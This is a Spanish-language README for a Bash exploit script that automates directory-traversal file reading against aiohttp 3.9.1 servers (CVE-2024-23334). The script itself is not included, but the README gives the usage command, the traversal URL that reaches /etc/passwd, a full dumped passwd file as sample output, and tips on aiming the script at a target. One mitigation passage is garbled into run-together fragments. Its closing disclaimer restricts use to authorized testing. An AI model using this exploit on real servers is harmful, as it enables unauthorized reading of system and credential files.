
Script Bash para automatizar ataques de inclusión de archivos locales (LFI) en el servidor aiohttp versión 3.9.1.
Un script de Bash para automatizar ataques de inclusión local de archivos (LFI) contra servidores aiohttp vulnerables, dirigido específicamente a CVE-2024-23334. Este exploit permite el acceso no autorizado a archivos arbitrarios en sistemas que ejecutan versiones afectadas de aiohttp con rutas estáticas configuradas incorrectamente.
La vulnerabilidad CVE-2024-23334 afecta al framework asíncrono de cliente/servidor HTTP aiohttp para Python y asyncio. Surge cuando aiohttp se utiliza como servidor web con rutas estáticas, lo que puede crear vulnerabilidades de traversal de directorios si está mal configurado. Esto permite a un atacante acceder a archivos arbitrarios del sistema sin autorización.
Mitigaciones para esta vulnerabilidad incluyen:
follow_symlinks en la configuración del servidor.curl: Asegúrate de que curl esté instalado en tu sistema, ya que se utiliza para realizar solicitudes HTTP.Para ejecutar el script, ejecuta el siguiente comando:
./lfi_aiohttp.sh -f /path/to/file/to/dump
Si todo va bien, deberías ver un resultado similar a:
[+] Curl output to the resulting url: http://localhost:8080/assets/../../..//etc/passwd.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
rosa:x:1000:1000:rosa:/home/rosa:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
app:x:1001:1001:,,,:/home/app:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false
[+] File dumped successfully.
Importante: Las variables
main_urlypayloaden el script pueden necesitar ajustes dependiendo del entorno objetivo.
main_url: Esta variable debe establecerse en la URL del servidor aiohttp objetivo (por ejemplo, http://localhost:8080). Modifícala según la dirección real del servidor contra el que estás probando.payload: Esta variable representa la ruta de archivo estático en el servidor (por ejemplo, /assets/). Asegúrate de que esta ruta coincida con la configuración del directorio de archivos estáticos del servidor objetivo.Antes de ejecutar el script, revisa estas variables para asegurarte de que estén correctamente configuradas para tu escenario de pruebas. Una configuración incorrecta puede provocar intentos fallidos de acceso a archivos o un comportamiento no deseado.
Este script está destinado únicamente a fines educativos y pruebas de penetración autorizadas. El uso no autorizado de este script está prohibido y puede ser ilegal.